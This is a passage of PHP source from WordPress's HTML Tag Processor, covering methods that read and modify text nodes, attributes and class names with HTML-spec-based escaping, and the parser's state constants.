	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
